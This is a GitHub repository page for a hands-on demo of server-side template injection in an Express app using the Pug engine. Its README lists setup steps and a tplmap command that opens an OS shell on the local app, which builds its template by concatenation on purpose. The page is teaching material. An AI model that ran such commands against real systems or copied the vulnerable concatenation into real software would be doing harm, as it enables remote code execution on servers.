Skip to content

This application is a demonstration prototype just to show how to perform SSTI (Server side templating injection) attack.

License

Notifications You must be signed in to change notification settings

0xdbe-appsec/ssti-express-pug

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Hands-on Express SSTI

This application is a demonstration prototype just to show how to perform SSTI (Server side templating injection) attack. This application use Express and Pug as templating engine. This tutorial is based on https://appsec.amanvir.io/exploring-template-injection

Setting-up

  • Install nodejs

  • Install dependencies

$ npm install
$ git clone https://github.com/epinna/tplmap.git
$ cd tplmap
$ virtualenv --python=/usr/bin/python2.7 venv
$ source ./venv/bin/activate
$ pip install -r requirements.txt
  • Start application
$ node app.js

SSTI attack

(venv)$ ./tplmap.py --engine pug --os-shell -u http://localhost:3000/?name=bob

In this example, the template is built by concatenation instead of using interpolation in order to escape data

About

This application is a demonstration prototype just to show how to perform SSTI (Server side templating injection) attack.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published